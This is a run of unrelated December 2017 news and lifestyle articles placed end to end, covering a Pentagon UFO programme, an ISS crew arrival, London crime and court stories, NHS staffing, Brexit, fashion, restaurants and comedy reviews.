The program was called the Advanced Aerospace Threat Identification Program and had an annual budget of $22 million between 2008 and 2011. (By contrast, the budget of NASA as a whole was roughly $18.4 billion in fiscal year 2011.)

This isn't the first time that the government has looked into accounts of mysterious objects. In 2016, the Central Intelligence Agency released many previously classified documents that talked about unusual incidents, most of which occurred in the 1950s.

While the scientific evidence for UFOs is inconclusive, many people still want to believe. A 2012 survey said an estimated 80 million people in the U.S. believe in UFOs. Further, 1 in 10 respondents said they had seen UFOs for themselves.

In the Times interview, Fravor added that shortly after his encounter, he spoke with another pilot about what he saw. He told the pilot he had no idea what it was. "It had no plumes, wings or rotors and outran our F-18s," he told the Times, adding, "I want to fly one."

Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
Sorry, Santa  these space travelers won't be home for Christmas.

A Russian cosmonaut and astronauts from the United States and Japan arrived at the International Space Station today (Dec. 19) to kick off a six-month space mission. And in the true Christmas spirit, they brought gifts. [Holidays in Space: An Astronaut Photo Album]

Cosmonaut Anton Shkaplerov, NASA astronaut Scott Tingle and Japan Aerospace Exploration Agency astronaut Norishige Kanai docked their Russian-built Soyuz spacecraft at the station at 3:39 a.m. EST (0839 GMT) as both craft sailed high over the "boot" of Italy, NASA officials said. The trio joined three other crewmembers already aboard  Americans Mark Vande Hei and Joe Acaba of NASA, and Russian Alexander Misurkin  to round out the station's Expedition 54 crew.

The International Space Station's full Expedition 54 crew speaks to family members and mission officials from the Zvezda control module after the arrival of NASA astronaut Scott Tingle (bottom left), cosmonaut Anton Shkaplerov (bottom center) and Japanese astronaut Norishige Kanai (bottom right) on Dec. 19, 2017. Also pictured are: NASA astronauts Joe Acaba (top left), cosmonaut Alexander Misurkin (top center) and NASA astronaut Mark Vande Hei. (Image credit: NASA TV)

One thing is certain: It's going to be a festive time in space in the days ahead.

"We [already] have a Christmas tree aboard, and there is a new Christmas tree arriving soon," Shkaplerov told reporters Saturday (Dec. 16), one day before he, Tingle and Kanai launched into space from Baikonur Cosmodrome, in Kazakhstan. "We have packages and gifts from our families and friends, and packages on board the ISS labeled to open on Dec. 25 for U.S. crewmembers and Dec. 31 for us from Russia."

A Russian Soyuz spacecraft carrying Russian cosmonaut Anton Shkaplerov, NASA astronaut Scott Tingle and Norishige Kanai of the Japan Aerospace Exploration Agency arrives at the International Space Station on Dec. 19, 2017, just in time for the holidays. (Image credit: NASA TV)

Shkaplerov is making his third spaceflight on this mission, while Tingle and Kanai are on their first flight. The three men will serve as part of the Expedition 54 crew through February, then stay on as the Expedition 55 crew after Acaba, Vande Hei and Misurkin return to Earth.

Shkaplerov, Tingle and Kanai will return to Earth in June, NASA officials have said.

Email Tariq Malik at tmalik@space.com or follow him @tariqjmalik and Google+. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
STAMFORD  Friends of Connecticut Ballet got a sneak peek of the The Nutcracker during rehearsals at the Connecticut Ballet Center on Monday ahead of the holiday classics opening this weekend.

Nutcracker performances will be held at The Palace on Saturday at 2 and 6 p.m. with guest stars Lauren Lovette and Ask la Cour from New York City Ballet. Sunday performances at 1 and 5 p.m. will feature Christine Shevchenko from American Ballet Theatre and Andrew Veyette from New York City Ballet.
T he first register of investor rebellions against Footsie companies was on Tuesday attacked as a blunt instrument which would fail to curb City pay.

The Investment Association, which represents the UKs 7 trillion funds industry, published a register of FTSE-listed companies including Burberry, Sky, Sports Direct and WPP who have suffered shareholder votes of 20% or more against pay and other policies.

The register is part of a government push under the Prime Minister, Theresa May (pictured), to increase corporate governance and transparency but consultants fear the mechanism is ill-equipped to the task and could backfire.

The concern that we have is that the Investment Association is employing a fairly blunt instrument  the 20% threshold  and it will actually prevent companies to come up with more innovative approaches, said New Bridge Streets Andrew Page.

The danger here is that it might have unintended consequences. It could lead to a herd mentality which would not be good for companies or their shareholders. What we need is to encourage a richer dialogue with shareholders on executive pay.

One in five of the 640 FTSE All-share companies who held annual meetings last year feature on the list because of having one resolution which received a rebellion of 20% or more. Pay disputes prompted the highest number of votes against, with four in 10 businesses on the register appearing because of concerns over remuneration.

Investment Association chief Chris Cummings defended the register and said the volumes of names on the list was a wake-up call for the City.

There has been a view that companies can ignore the views of shareholders. Shareholder rights are going to be given even more prominence.

We see this as a great opportunity to increase transparency and accountability, he told the BBC. The Government asked the IA to compile the register in September after a consultation aimed at beefing up corporate governance.

The IA subsequently wrote to all companies which had at least one resolution rejected, asking them to respond publicly.

But two-thirds of the companies on the register snubbed the request.

IA director of stewardship and corporate governance Andrew Ninian said it was early days and he hoped more would respond over time.

This is a new mechanism we are bringing in forcing companies to say something publicly. Yes it doesnt create a new vote and it is slightly different but investors have already said to us that how companies respond will colour how they vote in future, he said.
A t the wedding at Cana, Jesus turned water into wine, his first miracle and a hint as to what he thought the better drink. As we celebrate his birth, not everyone agrees.

The ageusic, not to say anosmic, controversialist Giles Coren recently pronounced all alcohol to be poison and the whole French wine business a complete farrago. Already many are looking eagerly beyond the festivities to Dry January. A stout book, The 28 Day Alcohol-Free Challenge, tactfully not published until Thursday week, offers to hold the hand of participants day by day, promising they will sleep better, lose weight, boost their energy and beat anxiety, all illustrated with pictures of a happy and good-looking family revelling in glorious sunshine, possibly in Australia.

Even those trying to speak up for wine now do so only in the most peculiar ways. One article has just commended a meditative practice called winefulness, whereby you savour the drink in order to feel more connected to your body and have a calming, spacious, more creative mind. This endeavour, definitely taught in Brisbane, differs from traditional wine-tasting, we are told, because with winefulness you are having your own unique experience.

From these ineptitudes, what can we do but turn back to Hugh Johnson, who, at 78, has just published the 41st edition of his Pocket Wine Book. Nobody writes more eloquently about the pleasure of wine. There are wines, he says, encountering a half-bottle of Ponsots Griotte-Chambertin 2001, that have the effect of a beautiful smile. They make you forget everything else, focus your attention  your longing, even. They switch on senses you were not aware of, beckon you to places where you cant follow.

Throughout this superbly condensed work of reference he inspires taste, especially in pairing wine with food. The combination of crab (esp Dungeness) with his beloved Riesling is, he says, part of the Creators plan.

His thirst and his curiosity have only become more insistent over the years, he says in the introduction. Because there are five times more wines on offer, from a vast geographical range of places (half the vineyards listed here didnt exist when I began) and, crucially, because they are all, almost without exception, getting better at what they do. Progress!

At the weekend, in an article about his healthy finances, Johnson owned up that he drank a bottle a day. Perhaps a conservative estimate? Thats winefulness, if you like. For Christmas.

Art seems to be imitating life for the great Daniel Day-Lewis

Fans of Daniel Day-Lewis will be grieving over his announcement that Phantom Thread, released in the US on Christmas Day and here at the start of February, is to be his last film. Day-Lewis, 60, plays an autocratic, high-society couturier in Fifties London who meets his match in the apparently naive waitress he chooses as a muse, played by 34-year-old Vicky Krieps.

Day-Lewis has been cryptic about his reasons for retirement, saying only that before making the film he didnt know he would stop acting. Hed had lots of laughs with the director Paul Thomas Anderson but the film took them by surprise. We didnt realise what we had given birth to, admits Day-Lewis. It was hard to live with. And still is. He has chosen not to see the finished movie.

Phantom Thread is a film about an artist who can only relinquish the fanatical control he exerts over the world he has created by embracing his own destruction. For an actor of Day-Lewiss unmatched integrity and commitment to his roles, what subject could be more ominous? To see it is, however sadly, to understand well enough why he may have chosen now to retreat.

The simple genius of Kazuo Ishiguro

Ive admired Kazuo Ishiguro for ages, having first met him 30 years ago for an interview for the Literary Review, so I was delighted when he won the Nobel Prize in Literature this year.

Now Faber has published his Stockholm lecture as a pamphlet (4.99)  and its a treat. The way he so clearly reveals those small, scruffy moments that turned out to be turning points for his career makes it read almost like a little Ishiguro novel in itself.

Recovering from illness, for example, he read Proust and realised that tangential thought associations, or the vagaries of memory, seemed to move the writing from one episode to the next, not a linear plot. Perhaps he could do the same? In such a way, I began to think, I might suggest the many layers of self-deception and denial that shrouded any persons view of their own self and their past. And there we have the novels that have deservedly won him this laureateship.

* On the Tube recently theres been such a brave fashion trend. Stylish men and women are wearing slightly too short trousers that reveal they are not wearing socks (or if they are, they are hidden inside their shoes).

Since it must be nippy they must be so motivated, these ankle-flashers. Are they rejoicing in a new, previously under-exploited erogenous zone? Or is it a ragamuffin look, as if to say no beastly, besuited capitalist, me!? Maybe, though, it is just a strong hint as to what they really want for Christmas.
Event dressing, evening wear, black tie... each of these unassuming word pairings can cause so much angst - especially during party season.

Time and budget pressures coupled with an abundance of glitter can make dressing on point a fraught task.

However, a recent crop of chic, female-founded labels is changing the evening wear landscape. Adhering to the dress code without sacrificing on personal style has never been easier.

These are the five brands to wear to your next event...

Rixo

Rixo's Camellia dress

Identifying a gap in the market for a British evening wear brand with items priced around the 250 mark, good friends - and ex-ASOS buyers - Henrietta Rix and Orlagh McCloske founded RIXO London in 2015. The brands rise has since been stratospheric. Their kimono-style dresses have become a firm fashion week favourite and their 70s-style hand-painted silk tea dresses were the wedding guest dress du jour this summer. Pair their Camellia dress with some platforms and bling for a winter wedding guest look that packs a sartorial punch.

rixo.co.uk

The Vampire's Wife

Festival dress by The Vampire's Wife

When ex-model Susie Cave - wife of Prince of Darkness musician Nick - decided, in 2014, to turn her hand to designing dresses, the outcome was bound to be in equal parts kooky and cool. Caves gowns  all high necked, most long-sleeved and invariably ankle grazing  manage to be dramatic but demure (think Addams family meets Little House on the Prairie), and have become a popular alternative red carpet solution. This seasons ruby velvet Festival dress is a sure-fire way to up the sartorial ante on Christmas day.

thevampireswife.com

Galvan

Galvan's corset jumpsuit

Founded in 2014 by four women with backgrounds in art and fashion, the Galvan brand mission was to create super-luxe, understated evening wear with a more purse-friendly price tag than the major luxury brands. Since then their pared-back column dresses, silk-satin flares and flattering halter necks have surged in popularity. Manufactured entirely in London, the designs are effortlessly cool and have the requirements of real women firmly at their core. Why not don their signature corset jumpsuit for a seriously chic New Year's Eve, the silhouette-enhancing effects of which really must be trialled to be believed.

galvanlondon.com

Rejina Pyo

Camille dress by Rejina Pyo

London-based Seoul native and former assistant designer to Roksanda Ilinic, Rejino Pyo founded her namesake label in 2013. Inspired by art and architecture, the Central St Martins graduates designs are all deconstructed details and oversized silhouettes, perfect for notching style points at your next dress coded event. The nipped waist, full-skirted and -shouldered Greta dress was everywhere at this years fashion weeks, but its the champagne-coloured satin Camille dress from her latest collection you should invest in to strike the tricky balance between red carpet polish and just that little bit offbeat.

rejinapyo.com

Attico

Evening wear by Attico

Italian It girl duo Giorgia Tordini and Gilda Ambrosio launched their luxurious loungewear-inspired brand Attico in 2016. Their initial capsule collection of kimono-inspired dresses was an immediate sell-out, thanks at least in part to the boost given by the pairs combined Instagram following of 250,000. Theyve since branched into peignoir robes, drawstring pouch bags and their signature velvet ankle strap shoes. These are sultry, sexy dresses that ooze Italian insouciance. What are you waiting for?

theattico.com
Review at a glance









J eff Garlin is best known for playing the duplicitous manager of Larry David in the acclaimed sitcom Curb Your Enthusiasm.

He has also been a stand-up comedian for more than three decades. But as the Chicago-born performer revealed at the start of his London run, he doesnt actually tell jokes. Im funny. Ill rely on it, he explained. In a brief opening Q&A about Curb, Garlin said that he ad libs during filming whenever he wants.

Which was pretty much what he did on stage: one moment admiring a fans scarf, which he thought resembled an Elizabethan ruff or maybe a xylophone, the next recalling how Whoopi Goldberg got him into cannabis. It helps him sleep, apparently.

Not that he needs much help. He loves naps so much he even naps before he goes to sleep. Elsewhere, when not riffing with the crowd or critiquing their clothes, there were tales of overindulging on doughnuts, renouncing sugar and more Hollywood gossip.

London's best comedy clubs and nights 1 /20 London's best comedy clubs and nights The Soho Theatre Sara Pascoes favourite comedy venue, and with good reason: the Soho Theatre is arguably Londons finest place to see both up-and-coming and established acts. Being a theatre, rather than a comedy club per se, expect to see full sets from individuals rather than bills with a few comics. Its three rooms host all sorts of things, from the latest Edinburgh winners to big names road-testing their latest bits. The standard is reliably excellent: even if youve never heard of a comedian, chances are, if theyre playing here, theyll be worth watching. The Comedy Store Another old favourite, the Comedy Store benefits from being built for purpose: no other venue in London suits stand-up quite so well (and the beer isnt too ridiculously priced, either). After starting out above a strip club in Soho, this place made its name throughout the eighties by breaking the pioneers in alternative comedy. Its happy to host mainstream stars these days, and never struggles to draw top acts, but if you can only make one thing, try The Comedy Store Players, old pros whose improvised shows on Wednesdays and Sundays all but guarantee hilarity. Tuesdays The Cutting Edge is best for those who like topical humour. Old Rope at The Phoenix Old Rope is popular with circuit veterans and newbies alike, so the weekly show usually has a mix of big names, comedy veterans and ones-to-watch. Host Tiff Stevenson leads an evening of new material  yes, lots of jokes given their test run  and its given its name for the noose that hangs over the stage. Ironically, this noose is a bit of a life-saver: if the new act is going badly, comics can grab the rope and fall back on old material. Knock2bag Always top value, the Knock2bag nights offer the chance to indulge in the odder end of the comedy spectrum: expect serious helpings of whimsy, eccentricity and surrealism. If you're looking for something different, this is your place to go. Monkey Business Comedy Club A first-rate comedy club and well worth travelling for. Wed pick the Thursday night over Saturday, but youll get a decent show on either day. Theres a mix of big names and up-and-comers, and host Martin Besserman is a pro wholl keep you laughing in between acts. Of which, theres often as many as twelve a night, so youll get your moneys worth. If one isnt to your taste, another promises a laugh. Banana Cabaret Club The Banana Cabaret Club hosts a lot of top drawer comics, and is well loved in comedy circles  in part, because theyve been going a good thirty years and in part because of the man running things, David Vickers, whose had everyone from Eddie Izzard to Stephen K Amos performing. Stars pop-in, and comedy circuit regulars play often, but its also on the finest spots to see new talent . No wonder Marcus Brigstocke name-checked it as his favourite London comedy club. Besides, once the two-hour show is done (typically wrapping up around 11pm), DJs strike up and everyone dances till 2am. Splendid. http://vivivi.co.uk/ Piccadilly Comedy Club Hats off to the Piccadilly for keeping comedy cheap: their shows cost 10 at the most, and they do a meal deal, where you can eat at Tiger Tiger and see the show for 20 all-in. A bargain. Expect a mix of well-known TV regulars alongside the best newcomers on the scene. Line-ups are particularly well thought out here: they dont just sling together anyone, so the nights tend to be uniformly excellent. Leicester Square Theatre The Leicester Square Theatre draws the big names, so expect to see top flight acts: Richard Herring hosts a weekly podcast here on Wednesdays, and the likes of Bridget Christie, Micky Flanagan and Frankie Boyle all make it a stopping point on their tours. That said, check the website for whats upcoming  there are chance to see some under-the-radar sets too. Live at Zedel The excellent Brasserie Zedel  whose Bar Americain is one of the finest drinking spots in the capital  relaunched Crazy Coqs as Live At Zedel last year and following a successful first run, are launching their second season. Besides comedy  the standard is usually very decent  they also host musical theatre and drag acts. The cocktails are terrific and there's at-table service. Eat in the restaurant beforehand (or after), too: we swung by recently and the food is as good as its ever been. Cheap, too. Happy Mondays This fortnightly show boasts the best new up-and-coming acts in the capital, combined with big name hosts  expect the likes of Miles Jupp, Sara Pascoe and Holly Walsh  who keep the standard up to scratch. Definitely up to par, somewhere to find your new favourite comedian. Angel Comedy Just how a comedy club should be: small, crowded and above a pub. Best of all, its free, and each night offers something different, from open-mic nights to well-known names giving their latest sets an airing. Check the website for details, but you wont be let down  just get down early, as it fills up quickly. Ginglik Comedy Club Following a decade of success in Shepherd's Bush, this comedy club has found a new home at the ever-popular Roof Gardens. Known as 'Jimmy Carr's favourite comedy club', the Ginglik has had everyone from Al Murray to Robin Williams play, and is set for more success. Laugh Out London The likes of Stewart Lee, Reginald D Hunter and Tony Law play these nights, which gives an idea of just how decent they are. Laugh Out London always do a good job of bringing the highlights from Edinburgh festival to town, so take the chance to see who everyones been tweeting about. The 99 Club This Leicester Square club is much, much better than you might expect for a place that continually flyers. A big favourite with the Chortle Awards, it always attracts big names  it runs a little like Live At The Apollo but on a smaller scale. There are three acts a night, and shows are fairly priced: some are as cheap as a fiver, though most will cost around 10 - 15. Theyve also got venues in Soho and Covent Garden. Live At The Chapel Bit of a shame that shows here are so few and far between  usually about once a month  but theres no place more beautiful than the Union Chapel to see comedy in London. The upside is that, with so few performances, they always get the big names headlining, with unfailingly impressive support. Plus theres usually a live band, who are fab. The atmosphere is everything. Anthony Devlin/PA Wire

He claims that Ellen DeGeneres owes him a television after he was given an empty cardboard box on her chat show, but feels it is too embarrassing to confront her. The enjoyably meandering evening ended with a genuine car parking anecdote worthy of Curb, which culminated in Garlin spending the night behind bars where the other inmates turned out to be big fans.

Love your work, felons told him. Comedy connoisseurs with or without criminal records should catch this arresting American while he is here.
Review at a glance









Z oe and Layo Paskin - the geniuses behind The Palomar and The Barbary - are doing their bit to spread the good vibes across town.

Hot on the heels of launching coffee shop Jacob The Angel next door to The Barbary, theyve taken over old boozer The Blue Posts two doors down from The Palomar. And clearly in the mood for giving, theyve turned it into not one but three new venues.

The Blue Posts

First up, on the ground floor, is the pubby part. It retains the original name and much of the character, but has been given a spruce up, had its bar transformed into a dining counter, and craft beer installed on the taps.

The food offering is more or less limited to bar snacks - but theres much more than mere peanuts (which incidentally come coated in harissa, and are very good indeed). Heavily buttered anchovy soldiers are simple but seductive, homemade sausage rolls are robustly meaty, and a plate of fried Jerusalem artichokes in a tahini-esque hazelnut sauce is a marker of how good vegetable dishes can be.

Flying the flag among a short selection of sandwiches is a New England fried fish sandwich. Encased in brioche and dripping with tartare sauce, its a filet-o-fish for the foodie set - and whats not to love about that?

Somehow, despite its Soho location, it still manages to feel a little bit local. And even the pork crackling is particularly, well, cracking. Simply put, its a pretty perfect pub.

You could easily while away a long evening on one of The Blue Posts bar stools, but theres a good incentive to move on in the form of whats upstairs.

The Mulwray

The pubs upper floor has been transformed into a stylish cocktail snug with a wonderfully clandestine feel, complete with walls lined with library-style drinks cabinets, a marble-clad bar and comfy velvet seats.

The cocktails lean mainly towards the classics-with-a-twist genre, including smoky honey and ginger-laced mezcal number Forget It Jake that takes on a margarita. The bar menu is also available here - though it feels more at home downstairs - as are wines and beers.

Evelyns Table

Back downstairs, in the pubs former beer cellar, theres a third venue - an itsy 11-seater restaurant, led by The Barbarys head chef Nacho Pinilla. With a black and white tiled floor and chrome counter, it looks the business but wont be open until the new year. Theres good news for those fed up of queuing, though: it will be a reservations-only kind of place.

The Blue Posts is one of the most exciting things to land in Soho for a while. Get in there fast and enjoy not having to queue, because that probably wont last long.

See more of the Best Restaurants in Soho.
O n Wednesday December 20, hundreds of people are expected to take to Londons streets to protest against period poverty.

In the UK, girls as young as 10 routinely miss school because they are unable to afford sanitary products. The Standard recently spoke to 18-year-old Amika George who began the #FreePeriods campaign in order to create awareness around period poverty and petition for free sanitary products to young girls who are on free school meals.

The A-Level student explained: These children would face enormous anxiety while sitting in lessons, fearful that theyd bled onto their uniform, so the easiest solution was often simply to miss school. It was clear to me that missing lessons means falling further behind in academic progress, and these children find they are such a long way off from attaining their goals and ambitions, all because they bleed.

Now Amika, along with Scarlett Curtis and Grace Campbell of The Pink Protest have organised the #FreePeriods protest to end period poverty.

What is the #FreePeriods protest?

The protest is calling on Theresa May to make sanitary products accessible to every girl receiving free school meals. It is also bringing period poverty to the forefront of conversations.

Amika added: The ideal result is for the Government to make a statutory pledge to provide free menstrual products to girls who need them but my campaign is two-pronged in that Im working to smash the ridiculous, gender-biased taboo surrounding periods.

We need to normalise conversations around menstruation- thats so important! There are lots of fantastic organisations working to end the stigma and its working.

When and where is the #FreePeriods protest?

The protest is from 5pm to 8pm on Wednesday December 20 and will be at Richmond Terrace, Westminster.

Will there be any celebrities in attendance?

Yes, there will be a number of speakers at the protest all there in support of womens rights and putting an end to period poverty. These include models Suki Waterhouse, Adwoa Aboah and Daisy Lowe, YouTuber Tanya Burr, The Guilty Feminist podcast host Deobrah Frances White and MPs Jess Phillips and Paula Sherriff.

Do I need to wear anything in particular?

Attendees are encouraged to wear red. As the protest Facebook event says: We will wear red to show the British government that we're not ashamed of blood and they shouldn't be either.

If I cant attend the protest, how else can I support #FreePeriods?

You can sign the #FreePeriods change.org petition here and head to their website where you can find more details of the protest, sign up to the newsletter and email and tweet Education Secretary Justine Greening.

To find out more about Amikas campign and #FreePeriods, visit the website freeperiods.org.
A major street was blocked off as police carried out a dramatic swoop in east London.

Officers stopped a car in East India Dock Road as part of a pre-planned operation on Tuesday afternoon.

A man was arrested on suspicion of possessing firearms.

Scotland Yard said the incident was not terror-related.

A spokesman for the force said: A man has been arrested in East India Dock Road during a pre-planned operation.

At around 2:20pm on Tuesday, officers stopped a car in East India Dock Road.

A man was arrested on suspicion of possession of firearms.

The road has since been reopened.
P olice are hunting for a woman after a bounder was hit in the face with a wine glass at a north London nightclub.

Detectives are appealing for information after an unknown woman struck the man, who works as a security guard at Gabeto nightclub in Camden, in the face.

He reportedly tried to break up a fight between two other men before the woman hit him with her glass.

The victim was treated at a north London hospital, where doctors removed shards of glass from his right eye.

Police would like to speak to the woman in connection with an assault in a Camden nightclub / Met Police

CCTV footage from the incident on October 14 appears to show the suspect throw a drink over another man in the club a few moments before the assault.

The woman is described as having long, dark hair and was wearing a light-coloured T-shirt dress with trainers and a dark rucksack, whilst carrying another item of clothing over her left arm.

Detective Constable Chris Shepherd, from the Central North Command Unit, said: This was an unprovoked assault on a man who was only trying to do his job.

"We would like to hear from anyone who was in the club that night who may have seen something and has not previously contacted police, or anyone who may be able to identify this suspect.

Any witnesses or anyone with information is asked to call police on 101 or contact via Twitter @MetCC.
T he Met Police has launched a major review of its sex crime investigations after two rape cases collapsed in one week.

Scotland Yard announced every live case, where it is in discussion with the Crown Prosecution Service, will be examined.

The review is to "ensure that all digital evidence has been properly examined, documented and shared with the CPS to meet obligations under disclosure," police said.

It came after a second rape prosecution collapsed in less than a week over problems relating to the disclosure of evidence.

The trial of Liam Allan, 22, was halted at Croydon Crown Court last week, while on Tuesday, another prosecution collapsed against Isaac Itiary.

The CPS offered no evidence against the defendant, who was facing trial at Inner London Crown Court charged with the rape of a child under 16, along with other offences.

The defendant was charged in July this year, but police only disclosed further "relevant material" in response to the defence case statement submitted on December 15.

A CPS spokesman said: "On December 17 2017, the police provided new material to the CPS, which had previously been requested, and this was reviewed.

"Prosecutors decided that there was no longer a realistic prospect of conviction and we offered no evidence against the defendant at a hearing today (December 19 2017)."

The Met announced a review of the Itiary investigation as well all other live probes by the "Child Abuse and Sexual Offences (CASO) command, where the MPS is in discussion with the CPS."

Commander Richard Smith, who oversees Met rape investigations, said: "I completely understand that this case may raise concerns about our compliance with disclosure legislation given the backdrop of the case of R v Allan last week.



"The Met is completely committed to understanding what went wrong in the case of Mr Allan and is carrying out a joint review with the CPS, the findings of which will be published.

"Rape investigations are by their nature very complex, and often hinge on the contradictory accounts of the alleged suspect and the complainant about what has taken place.

"We are reviewing all our investigations, where we are in discussion with the CPS, to assure ourselves that we are meeting our disclosure obligations in an acceptable timescale based on the volume of data that some cases involve."

The spokesman for the Met said they were unable to say, at this stage, how many cases would be affected.



Concerns have previously been raised at the most senior level of the criminal bar that disclosure failures and lack of resources will lead to miscarriages of justice.

Angela Rafferty QC, the chair of the Criminal Bar Association, suggested "unconscious bias" stops the police and the CPS "impartially and thoroughly investigating and scrutinising complaints in sexual offence cases".

"It should be remembered that it is not the job of the police or CPS to judge the truthfulness or otherwise of any allegation made," she said.

"The deluge of sexual allegations in the system is well known. If the criminal justice system is to cope and cope properly then funding must be found to ensure that there are proper investigations, a proper filtering system for cases that have no merit and a proper approach by the police and CPS to disclosure issues."

The barrister pointed to a joint report of Her Majesty's Inspectorate published in July this year highlighting "severe shortcomings" in the ability for the police and the CPS to deal with the disclosure regime.

She added: "Take disclosure seriously. Now. Those in power have failed to listen, or worse, have metaphorically rolled their eyes when we speak about the importance of a fit for purpose, functioning justice system and the rule of law."
T he NHS has more than 100,000 vacant posts as hospitals are struggling to recruit staff, Labour has claimed.

The partys analysis suggested there are currently more than 11,000 unfilled doctor positions, while there are an estimated 42,000 nursing vacancies.

The information was gathered from 82 NHS trusts in England.

Shadow health secretary Jonathan Ashworth said: "Tory mismanagement of the NHS workforce has been a disaster for staff and patients alike.

He claimed there is an "urgent need for a fresh plan to recruit the right numbers of staff.

"Labour's research today has shown that NHS workforce shortages in key areas are continuing to get worse year on year - ministers must take action before it's too late," he added.

Last week, Health Education England published a draft health and care workforce strategy that found the NHS in England will need 190,000 more clinical posts over the next 10 years to meet growing demand.

But if supply continues at the rate of the last five years, 72,000 new staff are expected to join the NHS by 2027.

It found that despite an increase in staff in most disciplines since 2012, the health service was still overstretched, partly due to population growth of 2.1 million in the last five years.

HEE has now launched a consultation to recruit and retain existing staff in a bid to increase the workforce.

A Department of Health spokeswoman said: "The truth is that latest NHS Digital figures show there are over 32,300 more professionally qualified clinical staff working in the NHS since 2010 and we are increasing training places for doctors and nurses by 25 per cent."

Janet Davies, chief executive and general secretary of the Royal College of Nursing, said: "This analysis pulls back the curtain on the state of staffing in the NHS this winter.

"Despite ministers' rhetoric on the importance of safety, it will enter a perilous January without enough staff to give safe care.

"Nurses are spread too thinly and starting to blow the whistle on falling standards.

"Hospital wards and care homes alike increasingly rely on unregistered healthcare assistants, especially at night.

"The Government must no longer allow nursing on the cheap - patients, particularly vulnerable and older individuals, can pay the highest price.

"The NHS has never been busier and yet it is haemorrhaging experienced nurses quicker than it can find new ones."
L ondoners awoke to wintry scenes as the capital was shrouded in a thick layer of fog after weather expects warned of freezing conditions which could impact travel.

Stunning pictures showed Westminster blanketed in an icy mist and the London Eye glowing red through the haze.

The photos, taken by Evening Standard photographer Jeremy Selwyn, captured central London in an eerie light before much of the capital was awake.

On Monday night forecasters warned of potential travel disruption, including cancelled flights, as the severe fog was set to descend on much of the UK in the early hours of Tuesday.

Fog: Central London was blanketed in fog in the early hours of Tuesday / Jeremy Selwyn

They predicted the wintry conditions would last until midday, but much of the fog surrounding London appeared to have lifted by 8am.

British airways announced on Monday evening that it expected several short-haul flights in and out of London to be disrupted by the weather

Jog: A brave runner takes on the wintry weather / Jeremy Selwyn

Were sorry that freezing fog forecast for Tuesday, December 19 has caused us to cancel some short-haul flights, a statement said,

Customers on short-haul flights which are operating may change their booking.

Fog: The London Eye glowed red in the mist / Jeremy Selwyn

Passengers are advised to check live departure boards at Heathrow to monitor the status of their flight, or contact airlines.

The Met Office said: "Fog is expected to form widely across southern and central England and some eastern parts of Wales on Monday evening, persisting overnight into Tuesday.

"Slower journey times are likely with delays possible to bus and train services. Some delays or cancellations to flights are also possible."

A yellow weather warning is in place for the East Midlands, the East of England, London and the South East, North West England, South West England, Wales and the West Midlands.
A man has been charged after two police officers were hit by a car on London's North Circular, leaving them fighting for life.

Mohammed Shisq, 51, from Hertfordshire, was charged with two counts of causing serious injury by dangerous driving and one count of failing to provide a specimen of breath.

The PCs, a woman and a man both in their 30s, were returning to their marked police vehicle on the A406 on Sunday when a white Maserati collided with them.

Scotland Yard said both officers remained in hospital on Monday and described their conditions as "serious but stable".

Officers were called to the crash near Brent Park in Neasden at 3.40am.

The car sustained serious damage and the driver was stopped at the scene. A woman travelling in the car was also injured.

The Met previously revealed that officers who arrived at the scene lifted the supercar off their colleagues to allow paramedics to reach them.

They were both taken to hospital suffering multiple injuries including fractures to the pelvis and legs.

The male officer underwent a seven-hour operation.

Shisq will appear at Willesden Magistrates Court on Tuesday, December 19.

Anyone who witnessed the collision or has information should contact the Met's Serious Collision Investigation Unit at Alperton on 020 8991 9555 or via Twitter @MetCC or to give information anonymously contact Crimestoppers on 0800 555 111 or online at www.crimestoppers-uk.org.
L osing access to the European single market will be far more damaging to the UK than the remaining EU countries, a new study has found.

Researchers claimed the UK is almost five times more exposed to the negative effects from trade disruption caused by Brexit than the EU.

This puts Britain in "a very weak bargaining position" as talks on the future relationship get under way, according to the team from the University of Birmingham.

The researchers said their findings show it is "not correct" to argue, as some Brexit-backers do, that Britain's trade deficit with the rest of the EU gives it an advantage in negotiations, because the remaining 27 nations have more to lose in terms of exports.

Their analysis of trade relationships found a "very different" picture, under which the loss of access to the single market and customs union is "far more damaging" to the UK than the EU27.

Juncker expects the second round of Brexit talks to start in March

The research found that "all UK regions are systematically more vulnerable to Brexit than regions in any other country", with trade-related risk exposure ranging from almost 17 per cent of GDP in parts of the North to 10 per cent in London.

Overall, the results show that 2.64% of EU GDP is at risk because of Brexit trade-related consequences. In the UK, Brexit trade-related risks account for 12.2% of UK GDP, said the report.

"The UK and its regions are far more vulnerable to trade-related risks of Brexit than other EU member states and their regions," said the report by the University's 's City Region Economic and Development Institute (City-Redi), published in academic journal Papers in Regional Science.

"As such, the UK is far more dependent on a relatively seamless and comprehensive free trade deal than the other EU member states.

"Mercantilist arguments popular in the UK media, which posit that the UK trade deficit with the rest of Europe implies that on economic grounds other EU member states will be eager to agree a free trade deal with the UK, are not correct.

"The UK's exposure to Brexit is some 4.6 times greater than that of the rest of other EU as a whole, and the UK regions are far more exposed to Brexit risks than regions in other EU countries, except for those in Ireland.

"As such, in all likelihood the potential impacts of either no deal between the UK and the EU or a bad deal, whereby the UK's access to the single market and the customs union is heavily curtailed, are far more damaging for the UK than for the rest of the EU."
T heresa May today gave way over her attempt to fix the date of Brexit in law, in a move designed to avoid the bigger embarrassment of a second Commons defeat.

Senior Government sources indicated that the Government would accept amendments that will allow ministers or Parliament to change their mind.

It is a climbdown for the Prime Minister who announced last month that she would write the date of Brexit  March 29, 2019  into the EU Withdrawal Bill and emailed Conservatives with a message that we will not tolerate attempts to slow it down.

In other key developments today:

Chancellor Philip Hammond took the rare step of tweeting before a special Brexit Cabinet meeting to deny claims that he was losing the battle for a deal to maximise trade with the EU.

Thousands of anti-Brexit activists march to Parliament in protest 1 /16 Thousands of anti-Brexit activists march to Parliament in protest Demonstrators head towards Parliament Square. REUTERS Signs include 'I love EU' REUTERS The pro-EU march began in Hyde Park Corner. Si Carrington 'NHS? Brexit Wrexit' Oliver Day The march took protesters through the streets of London. Oliver Day One protester brought along a papier mache Queen, in reference to the blue and yellow hat she wore at the State Opening of Parliament. Peter Bailey 'Exit Brexit' Jonathan Hawley The September sun shone as activists marched through the streets. Martin Tod Roads were blocked during the protest. Maggie Jones The campaigners set off shortly after 11am from Hyde Park Corner. Maggie Jones The rally saw the activists march through the streets of central London. Johann Ketel EU colours of blue and yellow were seen throughout the march. Judi Conner

